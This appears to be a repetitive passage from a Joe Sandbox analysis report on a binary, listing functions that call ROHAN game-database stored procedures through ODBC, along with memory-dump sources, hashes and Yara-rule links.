                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetCharacterRecipeList](?)}
                                                                                                                            • API String ID: 0-4024859741
                                                                                                                            • Opcode ID: 8376b3bafac53a57e3487af439a64c4f191786660ed94fe26d26243a4610edaa
                                                                                                                            • Instruction ID: 220e7a20d06c4901f07e99bcd0a747f1ad4d56e28ea46f1659e1fd1e98431aea
                                                                                                                            • Opcode Fuzzy Hash: 8376b3bafac53a57e3487af439a64c4f191786660ed94fe26d26243a4610edaa
                                                                                                                            • Instruction Fuzzy Hash: 6A110CB5A40618ABFB24CF54CC52FAA7374FB44B15F204389F618AA2C0DAB579808F58
                                                                                                                            Function 004339C4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetNGuildWarRegisterList] (?)},000000FD), ref: 004339E4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00433A23
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433A58
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetNGuildWarRegisterList] (?)}, xrefs: 004339DB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetNGuildWarRegisterList] (?)}
                                                                                                                            • API String ID: 0-1051908665
                                                                                                                            • Opcode ID: 10a191172d0ea1954ce657809ef232fcc0b3dd746639af31e31df700d53e7c57
                                                                                                                            • Instruction ID: fff003d307a664511a0fb9e791b420d1cc34b1f25e93dd7badb91ca06d579ad7
                                                                                                                            • Opcode Fuzzy Hash: 10a191172d0ea1954ce657809ef232fcc0b3dd746639af31e31df700d53e7c57
                                                                                                                            • Instruction Fuzzy Hash: CA11C0B5B4435CABEB24CF44CC51FAA7335EB85724F10C289F6152A6C4C6B569408F5A
                                                                                                                            Function 0042C9F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetRank](?)},000000FD), ref: 0042CA16
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042CA55
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042CA8A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetRank](?)}, xrefs: 0042CA0D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetRank](?)}
                                                                                                                            • API String ID: 0-1376603591
                                                                                                                            • Opcode ID: f2c409096be3ea6be6767a8ae431584484dc7391de3648ff75fed8cf951830b1
                                                                                                                            • Instruction ID: 9e2de515f4152854fbbc4f8a636492e54a7222c3aa3fc0803dffc32049918515
                                                                                                                            • Opcode Fuzzy Hash: f2c409096be3ea6be6767a8ae431584484dc7391de3648ff75fed8cf951830b1
                                                                                                                            • Instruction Fuzzy Hash: 6F11C0F1A44318ABEB649F44CC91FAA7335EB84714F20828DF7192A2C4C7B9A9448F5C
                                                                                                                            Function 00433A62 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GOLDENCASTLE_GET_MASTER_ID] (?)},000000FD), ref: 00433A82
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00433AC1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433AF6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GOLDENCASTLE_GET_MASTER_ID] (?)}, xrefs: 00433A79
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GOLDENCASTLE_GET_MASTER_ID] (?)}
                                                                                                                            • API String ID: 0-2413047674
                                                                                                                            • Opcode ID: b1953e303fce03ff7b3044a88fb41e46534008c27a3c97961f9a44120bc8bacb
                                                                                                                            • Instruction ID: a3edad18b4732c717e7ef281bdbd1337a011f1fcbc196eb78575a9e2d9054da2
                                                                                                                            • Opcode Fuzzy Hash: b1953e303fce03ff7b3044a88fb41e46534008c27a3c97961f9a44120bc8bacb
                                                                                                                            • Instruction Fuzzy Hash: 951100B1B40318ABEB64CF44CC52FE97334EB45714F204289F7157A6C1DAB569808F99
                                                                                                                            Function 0043CA22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)},000000FD), ref: 0043CA42
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043CA81
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043CAB6
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)}, xrefs: 0043CA39
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)}
                                                                                                                            • API String ID: 0-1541250590
                                                                                                                            • Opcode ID: f4566918bc06c22270c509dd5020c99dfb720cbbbe1f870ffa92c8fcf00bbce9
                                                                                                                            • Instruction ID: b0f31d741ff805cb4eb42daee7453ca0896506025faa6b9c1340346742edf8ff
                                                                                                                            • Opcode Fuzzy Hash: f4566918bc06c22270c509dd5020c99dfb720cbbbe1f870ffa92c8fcf00bbce9
                                                                                                                            • Instruction Fuzzy Hash: B811C3B1A8421BABDB34CF44CC51F7E7335EF84714F1082A9F6142A6C9C67569419B98
                                                                                                                            Function 0043CAC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetRewardItemOfCharacter] (?)},000000FD), ref: 0043CAE0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043CB1F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043CB54
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetRewardItemOfCharacter] (?)}, xrefs: 0043CAD7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetRewardItemOfCharacter] (?)}
                                                                                                                            • API String ID: 0-3501683791
                                                                                                                            • Opcode ID: 1a67792c6869e4277c0c0376e12e454bb4ab07d5f485900d53418f0a607c9fce
                                                                                                                            • Instruction ID: 11bb0acf54577c9213a56d71e1ef5ac13e2c011f8c2ad480bac809de1f558224
                                                                                                                            • Opcode Fuzzy Hash: 1a67792c6869e4277c0c0376e12e454bb4ab07d5f485900d53418f0a607c9fce
                                                                                                                            • Instruction Fuzzy Hash: 671100B1A8022BABEB34CF44CC52FB97334EF44714F1082A9F6246A6C4D6B56D409F98
                                                                                                                            Function 0043BADD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelIndunRanker] (?)},000000FD), ref: 0043BAFD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043BB3C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043BB71
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelIndunRanker] (?)}, xrefs: 0043BAF4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelIndunRanker] (?)}
                                                                                                                            • API String ID: 0-4048068192
                                                                                                                            • Opcode ID: 663917e4b04a08c80d80bc0860424707686a0bfdcb94fb2171fcd8e20920dbb3
                                                                                                                            • Instruction ID: c1ba73b229bd4ba3e884c42e69e0dde773dd4abfaefb59a109b1d064179c1526
                                                                                                                            • Opcode Fuzzy Hash: 663917e4b04a08c80d80bc0860424707686a0bfdcb94fb2171fcd8e20920dbb3
